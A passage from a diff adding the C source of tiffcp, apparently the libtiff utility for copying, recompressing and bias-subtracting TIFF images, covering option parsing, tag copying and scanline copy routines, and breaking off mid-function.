+  imageSpec points to a pointer to a filename followed by optional ,image#'s
+  Open the TIFF file and assign *imageSpec to either NULL if there are
+  no images specified, or a pointer to the next image number text
+*/
+{
+    TIFF *tif;
+    char *fn = *imageSpec;
+    *imageSpec = strchr (fn, comma);
+    if (*imageSpec) {  /* there is at least one image number specifier */
+        **imageSpec = '\0'; 
+        tif = TIFFOpen (fn, "r");
+        /* but, ignore any single trailing comma */
+        if (!(*imageSpec)[1]) {*imageSpec = NULL; return tif;}
+        if (tif) { 
+            **imageSpec = comma;  /* replace the comma */
+            if (!nextSrcImage(tif, imageSpec)) {
+              TIFFClose (tif);
+              tif = NULL;
+            }
+        }
+    }else
+        tif = TIFFOpen (fn, "r");
+    return tif;
+}
+
+
+int
+main(int argc, char* argv[])
+{
+	uint16 defconfig = (uint16) -1;
+	uint16 deffillorder = 0;
+	uint32 deftilewidth = (uint32) -1;
+	uint32 deftilelength = (uint32) -1;
+	uint32 defrowsperstrip = (uint32) 0;
+	uint32 diroff = 0;
+	TIFF* in;
+	TIFF* out;
+	char mode[10];
+	char* mp = mode;
+	int c;
+	extern int optind;
+	extern char* optarg;
+
+	*mp++ = 'w';
+	*mp = '\0';
+	while ((c = getopt(argc, argv, ",:b:c:f:l:o:z:p:r:w:aistBLMC")) != -1)
+		switch (c) {
+                case ',':
+                        if (optarg[0] != '=') usage();
+                        comma = optarg[1];
+                        break;
+                case 'b':   /* this file is bias image subtracted from others */
+                        if (bias) {
+                          fputs ("Only 1 bias image may be specified\n", stderr);
+                          exit (-2);
+                        }
+                        {
+                          uint16    samples = (uint16) -1;
+                          char **biasFn = &optarg;
+                          bias = openSrcImage (biasFn);
+                          if (!bias) exit (-5);
+                          if (TIFFIsTiled (bias)) {
+                     fputs ("Bias image must be organized in strips\n", stderr);
+                            exit (-7);
+                          }
+			  TIFFGetField(bias, TIFFTAG_SAMPLESPERPIXEL, &samples);
+                          if (samples != 1) {
+                     fputs ("Bias image must be monochrome\n", stderr);
+                            exit (-7);
+                          }
+                        }
+                        break;
+		case 'a':		/* append to output */
+			mode[0] = 'a';
+			break;
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'f':		/* fill order */
+			if (streq(optarg, "lsb2msb"))
+				deffillorder = FILLORDER_LSB2MSB;
+			else if (streq(optarg, "msb2lsb"))
+				deffillorder = FILLORDER_MSB2LSB;
+			else
+				usage();
+			break;
+		case 'i':		/* ignore errors */
+			ignore = TRUE;
+			break;
+		case 'l':		/* tile length */
+			outtiled = TRUE;
+			deftilelength = atoi(optarg);
+			break;
+		case 'o':		/* initial directory offset */
+			diroff = strtoul(optarg, NULL, 0);
+			break;
+		case 'p':		/* planar configuration */
+			if (streq(optarg, "separate"))
+				defconfig = PLANARCONFIG_SEPARATE;
+			else if (streq(optarg, "contig"))
+				defconfig = PLANARCONFIG_CONTIG;
+			else
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			defrowsperstrip = atol(optarg);
+			break;
+		case 's':		/* generate stripped output */
+			outtiled = FALSE;
+			break;
+		case 't':		/* generate tiled output */
+			outtiled = TRUE;
+			break;
+		case 'w':		/* tile width */
+			outtiled = TRUE;
+			deftilewidth = atoi(optarg);
+			break;
+		case 'B':
+			*mp++ = 'b'; *mp = '\0';
+			break;
+		case 'L':
+			*mp++ = 'l'; *mp = '\0';
+			break;
+		case 'M':
+			*mp++ = 'm'; *mp = '\0';
+			break;
+		case 'C':
+			*mp++ = 'c'; *mp = '\0';
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind < 2)
+		usage();
+	out = TIFFOpen(argv[argc-1], mode);
+	if (out == NULL)
+		return (-2);
+	if ((argc - optind) == 2)
+	  pageNum = -1;
+	for (; optind < argc-1 ; optind++) {
+                char *imageCursor = argv[optind];
+		in = openSrcImage (&imageCursor);
+		if (in == NULL)
+			return (-3);
+		if (diroff != 0 && !TIFFSetSubDirectory(in, diroff)) {
+			TIFFError(TIFFFileName(in),
+			    "Error, setting subdirectory at %#x", diroff);
+			(void) TIFFClose(out);
+			return (1);
+		}
+                for (;;) {
+                   config = defconfig;
+                   compression = defcompression;
+                   predictor = defpredictor;
+                   fillorder = deffillorder;
+                   rowsperstrip = defrowsperstrip;
+                   tilewidth = deftilewidth;
+                   tilelength = deftilelength;
+                   g3opts = defg3opts;
+                   if (!tiffcp(in, out) || !TIFFWriteDirectory(out)) {
+                        TIFFClose(out);
+                        return (1);
+                   }
+                   if (imageCursor) { /* seek next image directory */
+                        if (!nextSrcImage(in, &imageCursor)) break;
+                   }else
+                        if (!TIFFReadDirectory(in)) break;
+		}
+		TIFFClose(in);
+	}
+
+        TIFFClose(out);
+        return (0);
+}
+
+
+static void
+processG3Options(char* cp)
+{
+	if( (cp = strchr(cp, ':')) ) {
+		if (defg3opts == (uint32) -1)
+			defg3opts = 0;
+		do {
+			cp++;
+			if (strneq(cp, "1d", 2))
+				defg3opts &= ~GROUP3OPT_2DENCODING;
+			else if (strneq(cp, "2d", 2))
+				defg3opts |= GROUP3OPT_2DENCODING;
+			else if (strneq(cp, "fill", 4))
+				defg3opts |= GROUP3OPT_FILLBITS;
+			else
+				usage();
+		} while( (cp = strchr(cp, ':')) );
+	}
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none")) {
+		defcompression = COMPRESSION_NONE;
+	} else if (streq(opt, "packbits")) {
+		defcompression = COMPRESSION_PACKBITS;
+	} else if (strneq(opt, "jpeg", 4)) {
+		char* cp = strchr(opt, ':');
+
+                defcompression = COMPRESSION_JPEG;
+                while( cp )
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strneq(opt, "g3", 2)) {
+		processG3Options(opt);
+		defcompression = COMPRESSION_CCITTFAX3;
+	} else if (streq(opt, "g4")) {
+		defcompression = COMPRESSION_CCITTFAX4;
+	} else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			defpredictor = atoi(cp+1);
+		defcompression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			defpredictor = atoi(cp+1);
+		defcompression = COMPRESSION_ADOBE_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+char* stuff[] = {
+"usage: tiffcp [options] input... output",
+"where options are:",
+" -a		append to output instead of overwriting",
+" -o offset	set initial directory offset",
+" -p contig	pack samples contiguously (e.g. RGBRGB...)",
+" -p separate	store samples separately (e.g. RRR...GGG...BBB...)",
+" -s		write output in strips",
+" -t		write output in tiles",
+" -i		ignore read errors",
+" -b file[,#]	bias (dark) monochrome image to be subtracted from all others",
+" -,=%		use % rather than , to separate image #'s (per Note below)",           
+"",
+" -r #		make each strip have no more than # rows",
+" -w #		set output tile width (pixels)",
+" -l #		set output tile length (pixels)",
+"",
+" -f lsb2msb	force lsb-to-msb FillOrder for output",
+" -f msb2lsb	force msb-to-lsb FillOrder for output",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c jpeg[:opts]	compress output with JPEG encoding",
+" -c packbits	compress output with packbits encoding",
+" -c g3[:opts]	compress output with CCITT Group 3 encoding",
+" -c g4		compress output with CCITT Group 4 encoding",
+" -c none	use no compression algorithm on output",
+"",
+"Group 3 options:",
+" 1d		use default CCITT Group 3 1D-encoding",
+" 2d		use optional CCITT Group 3 2D-encoding",
+" fill		byte-align EOL codes",
+"For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs",
+"",
+"JPEG options:",
+" #		set compression quality level (0-100, default 75)",
+" r		output color image as RGB rather than YCbCr",
+"For example, -c jpeg:r:50 to get JPEG-encoded RGB data with 50% comp. quality",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+"",
+"Note that input filenames may be of the form filename,x,y,z",
+"where x, y, and z specify image numbers in the filename to copy.",
+"example:  tiffcp -c none -b esp.tif,1 esp.tif,0 test.tif",
+"  subtract 2nd image in esp.tif from 1st yielding uncompressed result test.tif",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+#define	CopyField2(tag, v1, v2) \
+    if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2)
+#define	CopyField3(tag, v1, v2, v3) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3)
+#define	CopyField4(tag, v1, v2, v3, v4) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4)
+
+static void
+cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type)
+{
+	switch (type) {
+	case TIFF_SHORT:
+		if (count == 1) {
+			uint16 shortv;
+			CopyField(tag, shortv);
+		} else if (count == 2) {
+			uint16 shortv1, shortv2;
+			CopyField2(tag, shortv1, shortv2);
+		} else if (count == 4) {
+			uint16 *tr, *tg, *tb, *ta;
+			CopyField4(tag, tr, tg, tb, ta);
+		} else if (count == (uint16) -1) {
+			uint16 shortv1;
+			uint16* shortav;
+			CopyField2(tag, shortv1, shortav);
+		}
+		break;
+	case TIFF_LONG:
+		{ uint32 longv;
+		  CopyField(tag, longv);
+		}
+		break;
+	case TIFF_RATIONAL:
+		if (count == 1) {
+			float floatv;
+			CopyField(tag, floatv);
+		} else if (count == (uint16) -1) {
+			float* floatav;
+			CopyField(tag, floatav);
+		}
+		break;
+	case TIFF_ASCII:
+		{ char* stringv;
+		  CopyField(tag, stringv);
+		}
+		break;
+	case TIFF_DOUBLE:
+		if (count == 1) {
+			double doublev;
+			CopyField(tag, doublev);
+		} else if (count == (uint16) -1) {
+			double* doubleav;
+			CopyField(tag, doubleav);
+		}
+		break;
+          default:
+                TIFFError(TIFFFileName(in),
+                          "Data type %d is not supported, tag %d skipped.",
+                          tag, type);
+	}
+}
+
+static struct cpTag {
+	uint16	tag;
+	uint16	count;
+	TIFFDataType type;
+} tags[] = {
+	{ TIFFTAG_SUBFILETYPE,		1, TIFF_LONG },
+	{ TIFFTAG_THRESHHOLDING,	1, TIFF_SHORT },
+	{ TIFFTAG_DOCUMENTNAME,		1, TIFF_ASCII },
+	{ TIFFTAG_IMAGEDESCRIPTION,	1, TIFF_ASCII },
+	{ TIFFTAG_MAKE,			1, TIFF_ASCII },
+	{ TIFFTAG_MODEL,		1, TIFF_ASCII },
+	{ TIFFTAG_MINSAMPLEVALUE,	1, TIFF_SHORT },
+	{ TIFFTAG_MAXSAMPLEVALUE,	1, TIFF_SHORT },
+	{ TIFFTAG_XRESOLUTION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_YRESOLUTION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_PAGENAME,		1, TIFF_ASCII },
+	{ TIFFTAG_XPOSITION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_YPOSITION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_RESOLUTIONUNIT,	1, TIFF_SHORT },
+	{ TIFFTAG_SOFTWARE,		1, TIFF_ASCII },
+	{ TIFFTAG_DATETIME,		1, TIFF_ASCII },
+	{ TIFFTAG_ARTIST,		1, TIFF_ASCII },
+	{ TIFFTAG_HOSTCOMPUTER,		1, TIFF_ASCII },
+	{ TIFFTAG_WHITEPOINT,		(uint16) -1, TIFF_RATIONAL },
+	{ TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL },
+	{ TIFFTAG_HALFTONEHINTS,	2, TIFF_SHORT },
+	{ TIFFTAG_INKSET,		1, TIFF_SHORT },
+	{ TIFFTAG_DOTRANGE,		2, TIFF_SHORT },
+	{ TIFFTAG_TARGETPRINTER,	1, TIFF_ASCII },
+	{ TIFFTAG_SAMPLEFORMAT,		1, TIFF_SHORT },
+	{ TIFFTAG_YCBCRCOEFFICIENTS,	(uint16) -1,TIFF_RATIONAL },
+	{ TIFFTAG_YCBCRSUBSAMPLING,	2, TIFF_SHORT },
+	{ TIFFTAG_YCBCRPOSITIONING,	1, TIFF_SHORT },
+	{ TIFFTAG_REFERENCEBLACKWHITE,	(uint16) -1,TIFF_RATIONAL },
+	{ TIFFTAG_EXTRASAMPLES,		(uint16) -1, TIFF_SHORT },
+	{ TIFFTAG_SMINSAMPLEVALUE,	1, TIFF_DOUBLE },
+	{ TIFFTAG_SMAXSAMPLEVALUE,	1, TIFF_DOUBLE },
+	{ TIFFTAG_STONITS,		1, TIFF_DOUBLE },
+};
+#define	NTAGS	(sizeof (tags) / sizeof (tags[0]))
+
+#define	CopyTag(tag, count, type)	cpTag(in, out, tag, count, type)
+
+typedef int (*copyFunc)
+    (TIFF* in, TIFF* out, uint32 l, uint32 w, uint16 samplesperpixel);
+static	copyFunc pickCopyFunc(TIFF*, TIFF*, uint16, uint16);
+
+static int
+tiffcp(TIFF* in, TIFF* out)
+{
+	uint16 bitspersample, samplesperpixel;
+	copyFunc cf;
+	uint32 width, length;
+	struct cpTag* p;
+
+	CopyField(TIFFTAG_IMAGEWIDTH, width);
+	CopyField(TIFFTAG_IMAGELENGTH, length);
+	CopyField(TIFFTAG_BITSPERSAMPLE, bitspersample);
+	CopyField(TIFFTAG_SAMPLESPERPIXEL, samplesperpixel);
+	if (compression != (uint16)-1)
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	else
+		CopyField(TIFFTAG_COMPRESSION, compression);
+	if (compression == COMPRESSION_JPEG) {
+	    uint16 input_compression, input_photometric;
+
+            if (TIFFGetField(in, TIFFTAG_COMPRESSION, &input_compression)
+                 && input_compression == COMPRESSION_JPEG) {
+                TIFFSetField(in, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB);
+            }
+	    if (TIFFGetField(in, TIFFTAG_PHOTOMETRIC, &input_photometric)) {
+		if(input_photometric == PHOTOMETRIC_RGB) {
+			if (jpegcolormode == JPEGCOLORMODE_RGB)
+		    		TIFFSetField(out, TIFFTAG_PHOTOMETRIC,
+					     PHOTOMETRIC_YCBCR);
+			else
+		    		TIFFSetField(out, TIFFTAG_PHOTOMETRIC,
+					     PHOTOMETRIC_RGB);
+		} else
+			TIFFSetField(out, TIFFTAG_PHOTOMETRIC,
+				     input_photometric);
+	    }
+        }
+	else if (compression == COMPRESSION_SGILOG
+		 || compression == COMPRESSION_SGILOG24)
+		TIFFSetField(out, TIFFTAG_PHOTOMETRIC,
+		    samplesperpixel == 1 ?
+			PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV);
+	else
+		CopyTag(TIFFTAG_PHOTOMETRIC, 1, TIFF_SHORT);
+	if (fillorder != 0)
+		TIFFSetField(out, TIFFTAG_FILLORDER, fillorder);
+	else
+		CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT);
+	/*
+	 * Will copy `Orientation' tag from input image
+	 */
+	TIFFGetFieldDefaulted(in, TIFFTAG_ORIENTATION, &orientation);
+	switch (orientation) {
+		case ORIENTATION_BOTRIGHT:
+		case ORIENTATION_RIGHTBOT:	/* XXX */
+			TIFFWarning(TIFFFileName(in), "using bottom-left orientation");
+			orientation = ORIENTATION_BOTLEFT;
+		/* fall thru... */
+		case ORIENTATION_LEFTBOT:	/* XXX */
+		case ORIENTATION_BOTLEFT:
+			break;
+		case ORIENTATION_TOPRIGHT:
+		case ORIENTATION_RIGHTTOP:	/* XXX */
+		default:
+			TIFFWarning(TIFFFileName(in), "using top-left orientation");
+			orientation = ORIENTATION_TOPLEFT;
+		/* fall thru... */
+		case ORIENTATION_LEFTTOP:	/* XXX */
+		case ORIENTATION_TOPLEFT:
+			break;
+	}
+	TIFFSetField(out, TIFFTAG_ORIENTATION, orientation);
+	/*
+	 * Choose tiles/strip for the output image according to
+	 * the command line arguments (-tiles, -strips) and the
+	 * structure of the input image.
+	 */
+	if (outtiled == -1)
+		outtiled = TIFFIsTiled(in);
+	if (outtiled) {
+		/*
+		 * Setup output file's tile width&height.  If either
+		 * is not specified, use either the value from the
+		 * input image or, if nothing is defined, use the
+		 * library default.
+		 */
+		if (tilewidth == (uint32) -1)
+			TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth);
+		if (tilelength == (uint32) -1)
+			TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength);
+		TIFFDefaultTileSize(out, &tilewidth, &tilelength);
+		TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth);
+		TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength);
+	} else {
+		/*
+		 * RowsPerStrip is left unspecified: use either the
+		 * value from the input image or, if nothing is defined,
+		 * use the library default.
+		 */
+		if (rowsperstrip == (uint32) 0) {
+			if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP,
+					  &rowsperstrip)) {
+				rowsperstrip =
+					TIFFDefaultStripSize(out, rowsperstrip);
+			}
+			if (rowsperstrip > length)
+				rowsperstrip = length;
+		}
+		else if (rowsperstrip == (uint32) -1)
+			rowsperstrip = length;
+		TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+	}
+	if (config != (uint16) -1)
+		TIFFSetField(out, TIFFTAG_PLANARCONFIG, config);
+	else
+		CopyField(TIFFTAG_PLANARCONFIG, config);
+	if (samplesperpixel <= 4)
+		CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT);
+	CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT);
+/* SMinSampleValue & SMaxSampleValue */
+	switch (compression) {
+	case COMPRESSION_JPEG:
+		TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+		TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+		break;
+	case COMPRESSION_LZW:
+	case COMPRESSION_ADOBE_DEFLATE:
+	case COMPRESSION_DEFLATE:
+		if (predictor != (uint16)-1)
+			TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+		else
+			CopyField(TIFFTAG_PREDICTOR, predictor);
+		break;
+	case COMPRESSION_CCITTFAX3:
+	case COMPRESSION_CCITTFAX4:
+		if (compression == COMPRESSION_CCITTFAX3) {
+			if (g3opts != (uint32) -1)
+				TIFFSetField(out, TIFFTAG_GROUP3OPTIONS,
+				    g3opts);
+			else
+				CopyField(TIFFTAG_GROUP3OPTIONS, g3opts);
+		} else
+			CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG);
+		CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG);
+		CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG);
+		CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG);
+		CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG);
+		CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG);
+		CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII);
+		break;
+	}
+	{ uint32 len32;
+	  void** data;
+	  if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data))
+		TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data);
+	}
+	{ uint16 ninks;
+	  const char* inknames;
+	  if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) {
+		TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks);
+		if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) {
+		    int inknameslen = strlen(inknames) + 1;
+		    const char* cp = inknames;
+		    while (ninks > 1) {
+			    cp = strchr(cp, '\0');
+			    if (cp) {
+				    cp++;
+				    inknameslen += (strlen(cp) + 1);
+			    }
+			    ninks--;
+		    }
+		    TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames);
+		}
+	  }
+	}
+	{
+	  unsigned short pg0, pg1;
+	  if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) {
+		if (pageNum < 0) /* only one input file */
+			TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1);
+		else 
+			TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0);
+	  }
+	}
+
+	for (p = tags; p < &tags[NTAGS]; p++)
+		CopyTag(p->tag, p->count, p->type);
+
+	cf = pickCopyFunc(in, out, bitspersample, samplesperpixel);
+	return (cf ? (*cf)(in, out, length, width, samplesperpixel) : FALSE);
+}
+
+/*
+ * Copy Functions.
+ */
+#define	DECLAREcpFunc(x) \
+static int x(TIFF* in, TIFF* out, \
+    uint32 imagelength, uint32 imagewidth, tsample_t spp)
+
+#define	DECLAREreadFunc(x) \
+static int x(TIFF* in, \
+    uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp)
+typedef int (*readFunc)(TIFF*, uint8*, uint32, uint32, tsample_t);
+
+#define	DECLAREwriteFunc(x) \
+static int x(TIFF* out, \
+    uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp)
+typedef int (*writeFunc)(TIFF*, uint8*, uint32, uint32, tsample_t);
+
+/*
+ * Contig -> contig by scanline for rows/strip change.
+ */
+DECLAREcpFunc(cpContig2ContigByRow)
+{
+	tdata_t buf = _TIFFmalloc(TIFFScanlineSize(in));
+	uint32 row;
+
+	(void) imagewidth; (void) spp;
+	for (row = 0; row < imagelength; row++) {
+		if (TIFFReadScanline(in, buf, row, 0) < 0 && !ignore) {
+			TIFFError(TIFFFileName(in),
+				  "Error, can't read scanline %lu",
+				  (unsigned long) row);
+			goto bad;
+		}
+		if (TIFFWriteScanline(out, buf, row, 0) < 0) {
+			TIFFError(TIFFFileName(out),
+				  "Error, can't write scanline %lu",
+				  (unsigned long) row);
+			goto bad;
+		}
+	}
+	_TIFFfree(buf);
+	return 1;
+bad:
+	_TIFFfree(buf);
+	return 0;
+}
+
+
+typedef void biasFn (void *image, void *bias, uint32 pixels);
+
+#define subtract(bits) \
+static void subtract##bits (void *i, void *b, uint32 pixels)\
+{\
+   uint##bits *image = i;\
+   uint##bits *bias = b;\
+   while (pixels--) {\
+     *image = *image > *bias ? *image-*bias : 0;\
+     image++, bias++; \
+   } \
+}
+
+subtract(8)
+subtract(16)
+subtract(32)
+
+static biasFn *lineSubtractFn (unsigned bits)
+{
+    switch (bits) {
+      case  8:  return subtract8;
+      case 16:  return subtract16;
+      case 32:  return subtract32;
+    }
+    return NULL;
+}
+
+/*
+ * Contig -> contig by scanline while subtracting a bias image.
+ */
+DECLAREcpFunc(cpBiasedContig2Contig)
+{
+	if (spp == 1) {
+	  tsize_t biasSize = TIFFScanlineSize(bias);
+	  tsize_t bufSize = TIFFScanlineSize(in);
+	  tdata_t buf, biasBuf;
+	  uint32 biasWidth = 0, biasLength = 0;
+	  TIFFGetField(bias, TIFFTAG_IMAGEWIDTH, &biasWidth);
+	  TIFFGetField(bias, TIFFTAG_IMAGELENGTH, &biasLength);
+	  if (biasSize == bufSize && 
+	      imagelength == biasLength && imagewidth == biasWidth) {
+		uint16 sampleBits = 0;
+		biasFn *subtractLine;
+		TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &sampleBits);
+		subtractLine = lineSubtractFn (sampleBits);
+		if (subtractLine) {
+			uint32 row;
+			buf = _TIFFmalloc(bufSize);
+			biasBuf = _TIFFmalloc(bufSize);
+			for (row = 0; row < imagelength; row++) {
+				if (TIFFReadScanline(in, buf, row, 0) < 0
+				    && !ignore) {
+					TIFFError(TIFFFileName(in),
+					"Error, can't read scanline %lu",
+					(unsigned long) row);
+					goto bad;
+				}
+				if (TIFFReadScanline(bias, biasBuf, row, 0) < 0
+				    && !ignore) {
+					TIFFError(TIFFFileName(in),
+					"Error, can't read biased scanline %lu",
+					(unsigned long) row);
+					goto bad;
+				}
+				subtractLine (buf, biasBuf, imagewidth);
+				if (TIFFWriteScanline(out, buf, row, 0) < 0) {
+					TIFFError(TIFFFileName(out),
+					"Error, can't write scanline %lu",
+					(unsigned long) row);
+					goto bad;
+				}
+			}
+		
+			_TIFFfree(buf);
+			_TIFFfree(biasBuf);
+			TIFFSetDirectory(bias,
+				TIFFCurrentDirectory(bias)); /* rewind */
+			return 1;
+bad:
+			_TIFFfree(buf);
+			_TIFFfree(biasBuf);
+			return 0;
+	    } else {
+	      TIFFError(TIFFFileName(in),
+			"No support for biasing %d bit pixels\n",
+			sampleBits);
+	      return 0;
+	    }
+	  }
+	  TIFFError(TIFFFileName(in),
+		    "Bias image %s,%d\nis not the same size as %s,%d\n",
+		    TIFFFileName(bias), TIFFCurrentDirectory(bias),
+		    TIFFFileName(in), TIFFCurrentDirectory(in));
+	  return 0;
+	} else {
+	  TIFFError(TIFFFileName(in),
+		    "Can't bias %s,%d as it has >1 Sample/Pixel\n",
+		    TIFFFileName(in), TIFFCurrentDirectory(in));
+	  return 0;
+	}
+
+}
+
+
+/*
+ * Strip -> strip for change in encoding.
+ */
+DECLAREcpFunc(cpDecodedStrips)
+{
+	tsize_t stripsize  = TIFFStripSize(in);
+	tdata_t buf = _TIFFmalloc(stripsize);
+
+	(void) imagewidth; (void) spp;
+	if (buf) {
+		tstrip_t s, ns = TIFFNumberOfStrips(in);
+		uint32 row = 0;
+		for (s = 0; s < ns; s++) {
+			tsize_t cc = (row + rowsperstrip > imagelength) ?
+			    TIFFVStripSize(in, imagelength - row) : stripsize;
+			if (TIFFReadEncodedStrip(in, s, buf, cc) < 0
+			    && !ignore) {
+				TIFFError(TIFFFileName(in),
+					  "Error, can't read strip %lu",
+					  (unsigned long) s);
+				goto bad;
+			}
+			if (TIFFWriteEncodedStrip(out, s, buf, cc) < 0) {
+				TIFFError(TIFFFileName(out),
+					  "Error, can't write strip %lu",
+					  (unsigned long) s);
+				goto bad;
+			}
+			row += rowsperstrip;
+		}
+		_TIFFfree(buf);
+		return 1;
+	} else {
+		TIFFError(TIFFFileName(in),
+			  "Error, can't allocate memory buffer of size %lu "
+			  "to read strips", (unsigned long) stripsize);
+		return 0;
+	}
+
+bad:
+	_TIFFfree(buf);
+	return 0;
+}
+
+/*
+ * Separate -> separate by row for rows/strip change.
+ */
+DECLAREcpFunc(cpSeparate2SeparateByRow)
+{
+	tdata_t buf = _TIFFmalloc(TIFFScanlineSize(in));
+	uint32 row;
+	tsample_t s;
+
+	(void) imagewidth;
+	for (s = 0; s < spp; s++) {
+		for (row = 0; row < imagelength; row++) {
+			if (TIFFReadScanline(in, buf, row, s) < 0 && !ignore) {
+				TIFFError(TIFFFileName(in),
+					  "Error, can't read scanline %lu",
+					  (unsigned long) row);
+				goto bad;
+			}
+			if (TIFFWriteScanline(out, buf, row, s) < 0) {
+				TIFFError(TIFFFileName(out),
+					  "Error, can't write scanline %lu",
+					  (unsigned long) row);
+				goto bad;
+			}
+		}
+	}
+	_TIFFfree(buf);
+	return 1;
+bad:
+	_TIFFfree(buf);
+	return 0;
+}
+
+/*
+ * Contig -> separate by row.
+ */
+DECLAREcpFunc(cpContig2SeparateByRow)
+{
+	tdata_t inbuf = _TIFFmalloc(TIFFScanlineSize(in));
+	tdata_t outbuf = _TIFFmalloc(TIFFScanlineSize(out));
+	register uint8 *inp, *outp;
+	register uint32 n;
+	uint32 row;
+	tsample_t s;
+
+	/* unpack channels */
+	for (s = 0; s < spp; s++) {
+		for (row = 0; row < imagelength; row++) {
+			if (TIFFReadScanline(in, inbuf, row, 0) < 0
+			    && !ignore) {
+				TIFFError(TIFFFileName(in),
+					  "Error, can't read scanline %lu",
+					  (unsigned long) row);
+				goto bad;
+			}
+			inp = ((uint8*)inbuf) + s;
+			outp = (uint8*)outbuf;
+			for (n = imagewidth; n-- > 0;) {
+				*outp++ = *inp;
+				inp += spp;
+			}
+			if (TIFFWriteScanline(out, outbuf, row, s) < 0) {
+				TIFFError(TIFFFileName(out),
+					  "Error, can't write scanline %lu",
+					  (unsigned long) row);
+				goto bad;
+			}
+		}
+	}
+	if (inbuf) _TIFFfree(inbuf);
+	if (outbuf) _TIFFfree(outbuf);
+	return 1;
+bad:
+	if (inbuf) _TIFFfree(inbuf);
+	if (outbuf) _TIFFfree(outbuf);
+	return 0;
+}
+
+/*
+ * Separate -> contig by row.
+ */
+DECLAREcpFunc(cpSeparate2ContigByRow)
+{
+	tdata_t inbuf = _TIFFmalloc(TIFFScanlineSize(in));
+	tdata_t outbuf = _TIFFmalloc(TIFFScanlineSize(out));
+	register uint8 *inp, *outp;
+	register uint32 n;
+	uint32 row;
+	tsample_t s;
+
+	for (row = 0; row < imagelength; row++) {
+		/* merge channels */
+		for (s = 0; s < spp; s++) {
+			if (TIFFReadScanline(in, inbuf, row, s) < 0
+			    && !ignore) {
+				TIFFError(TIFFFileName(in),
+					  "Error, can't read scanline %lu",
+					  (unsigned long) row);
+				goto bad;
+			}
+			inp = (uint8*)inbuf;
+			outp = ((uint8*)outbuf) + s;
+			for (n = imagewidth; n-- > 0;) {
+				*outp = *inp++;
+				outp += spp;
+			}
+		}
+		if (TIFFWriteScanline(out, outbuf, row, 0) < 0) {
+			TIFFError(TIFFFileName(out),
+				  "Error, can't write scanline %lu",
+				  (unsigned long) row);
+			goto bad;
+		}
+	}
+	if (inbuf) _TIFFfree(inbuf);
+	if (outbuf) _TIFFfree(outbuf);
+	return 1;
+bad:
